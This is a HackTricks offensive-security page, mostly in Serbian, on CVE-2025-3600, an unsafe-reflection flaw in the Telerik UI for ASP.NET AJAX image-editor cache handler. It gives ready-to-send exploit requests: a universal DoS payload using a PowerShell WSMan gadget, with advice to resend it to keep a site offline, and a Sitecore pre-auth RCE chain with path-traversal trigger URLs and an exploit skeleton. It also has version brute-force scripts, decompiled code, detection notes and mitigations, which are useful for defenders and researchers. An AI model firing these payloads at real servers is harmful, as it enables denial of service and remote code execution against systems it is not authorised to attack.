Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Izloženo pre‑auth u mnogim proizvodima.
  • Primitive: Napadač kontroliše ime tipa (prtype). Handler ga rešava pomoću Type.GetType() i poziva Activator.CreateInstance() pre nego što proveri type-safety interfejsa. Bilo koji javni .NET tip sa konstruktorom bez parametara će se izvršiti.
  • Impact:
  • Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
  • Često eskalira u pre‑auth RCE u stvarnim deployment-ima zloupotrebom app‑specific gadgets, posebno nesigurnim AppDomain.AssemblyResolve handlerima.
  • Fix: Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416+ ili uklonite/zaključajte handler.

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.

Affected surface and quick discovery

  • Check exposure:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Pregledajte web.config za handler-e koji mapiraju na Telerik.Web.UI.WebResource.axd.
  • Ne oslanjajte se na pronalaženje Telerik stringova na / ili login stranicama. Stvarni proizvodi kao Sitecore često izlažu handler bez referenciranja u default HTML-u.
  • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Napomene

  • Neki PoCs koriste dtype; implementacija proverava dkey==“1” za tok preuzimanja.
  • prtype mora biti assembly-qualified ili rešiv u trenutnom AppDomain-u.

Korisne code/ops provere

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Brza trijaža verzije na nasleđenim instalacijama

Ako ista aplikacija takođe izlaže legacy type=rau handler, stariji Telerik alati i dalje mogu pomoći da identifikujete verziju zajedničke Telerik.Web.UI.dll pre nego što pokušate istraživanje type=iec. Ovo ne iskorišćava CVE-2025-3600 direktno; samo ponovo koristi činjenicu da rau i iec postoje u istom assembly-ju.

Praktična upotreba:

  • Ako je type=rau dostupan, koristite klasični major-version brute force iz starijih RAU alatki da povratite tačnu verziju Telerik.Web.UI assembly-ja.
  • Uporedite pronađenu verziju sa ranjivim opsegom (2011.2.712 to 2025.1.218) i sa ispravljenom verzijom (2025.1.416+).
  • Smatrajte odsustvo type=rau neodlučujućim. iec može i dalje biti izložen čak i kada je rau onemogućen ili filtriran.

Example with the legacy CVE-2019-18935.py helper:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Zašto ovo pomaže:

  • Enterprise aplikacije često godinama bundle-uju stale Telerik build-ove.
  • Red teams mogu brzo razlikovati “handler exposed” od “likely still on a vulnerable DLL”.
  • Tokom incident response, ista fora pomaže da se obuhvate velike IIS flote kada filesystem access nije odmah dostupan.

Uzrok – unsafe reflection u ImageEditorCacheHandler

Tok preuzimanja cache-a Image Editora konstruiše instancu tipa koji je prosleđen u prtype i tek kasnije je kastuje u ICacheImageProvider i validira download key. Konstruktor je već izvršen kada validacija ne uspe.

Relevantni dekompajlirani tok ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Eksploatacioni primitiv: Kontrolisani tip string → Type.GetType ga razrešava → Activator.CreateInstance poziva njegov javni konstruktor bez parametara. Čak i ako zahtev bude naknadno odbijen, sporedni efekti gadgeta su već nastali.

## Univerzalni DoS gadget (nije potreban gadget specifičan za aplikaciju)

Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper u System.Management.Automation (PowerShell) ima finalizer koji poziva Dispose nad neinicijalizovanim handle-om, što izaziva neuhvaćen izuzetak kada ga GC finalizuje. Ovo pouzdano ruši IIS worker process ubrzo nakon instanciranja.

Jednokratni DoS zahtev:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Napomene

  • Nastavite da šaljete periodično da biste održali sajt offline. Možda ćete u debuggeru videti da je konstruktor pogođen; pad se dešava pri finalizaciji.

Od DoS do RCE – obrasci eskalacije

Nezaštićeno izvršavanje konstruktora otključava mnoge cilj‑specifične gadgete i lanace. Potražite:

  1. Parameterless constructors that process attacker input
  • Neki ctors (ili static initializers) odmah čitaju Request query/body/cookies/headers i (de)serializuju ih.
  • Primer (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctors koji učitavaju ili deserializuju config/blobs sa diska mogu se prisiliti ako možete da pišete u te putanje (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Resetovanje stanja, prebacivanje modula ili terminiranje procesa.
  1. Constructors/static ctors that register AppDomain event handlers
  • Mnoge aplikacije dodaju AppDomain.CurrentDomain.AssemblyResolve handlere koji prave DLL putanje iz args.Name bez sanitizacije. Ako možete da utičete na rešavanje tipa, možete prisiliti učitavanje proizvoljnih DLL‑ova iz putanja pod kontrolom napadača.
  1. Forcing AssemblyResolve via Type.GetType
  • Zatražite nepostojeći tip da biste prisilili CLR na rešavanje i pozvali registrovane (moguće nesigurne) resolvere. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers sa destruktivnim nuspojavama
  • Neki tipovi brišu fajlove sa fiksnom putanjom u finalizer-ima. U kombinaciji sa link-following ili predvidivim putanjama ovo može omogućiti local privilege escalation u određenim okruženjima.

Primer pre‑auth RCE lanca (Sitecore XP)

  • Korak 1 – Pre‑auth: Aktivirajte tip čiji static/instance ctor registruje nesiguran AssemblyResolve handler (npr. Sitecore’s FolderControlSource u ControlFactory).
  • Korak 2 – Post‑auth: Obezbedite mogućnost upisa u direktorijum koji proverava resolver (npr. putem auth bypass ili weak upload) i postavite maliciozni DLL.
  • Korak 3 – Pre‑auth: Iskoristite CVE‑2025‑3600 sa nepostojećim tipom i assembly imenom koje sadrži traversal kako biste naterali resolver da učita vaš postavljeni DLL → izvršenje koda kao IIS worker.

Primeri okidača

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validacija, hunting i DFIR napomene

  • Sigurna validacija u laboratoriji: pokrenite DoS payload i pratite recikliranje app pool-a ili neobrađenu iznimku povezanu sa WSMan finalizer-om.
  • Hunt u telemetriji:
  • Zahtevi na /Telerik.Web.UI.WebResource.axd sa type=iec i neobičnim prtype vrednostima.
  • Neuspešna učitavanja tipova i AppDomain.AssemblyResolve događaji.
  • Iznenadni padovi/recikliranja w3wp.exe nakon takvih zahteva.

Mitigacija

  • Patchujte na Telerik UI for ASP.NET AJAX 2025.1.416 ili noviji.
  • Uklonite ili ograničite izlaganje Telerik.Web.UI.WebResource.axd gde je moguće (WAF/rewrites).
  • Ignorišite ili ojačajte serversku obradu prtype (nadogradnja primenjuje odgovarajuće provere pre instanciranja).
  • Revidirajte i ojačajte custom AppDomain.AssemblyResolve handlere. Izbegavajte građenje putanja iz args.Name bez sanitizacije; preferirajte strong-named loads ili whitelists.
  • Ograničite lokacije za upload/zapisivanje i sprečite dropovanje DLL-ova u probe direktorijume.
  • Pratite pokušaje učitavanja nepostojećih tipova kako biste otkrili zloupotrebu resolver-a.

Sažetak

  • Provera prisustva:
  • GET /Telerik.Web.UI.WebResource.axd
  • Potražite mapiranje handlera u web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Univerzalni DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Okidač resolvera:
This.Class.Does.Not.Exist, watchTowr

Povezane tehnike

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Reference

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks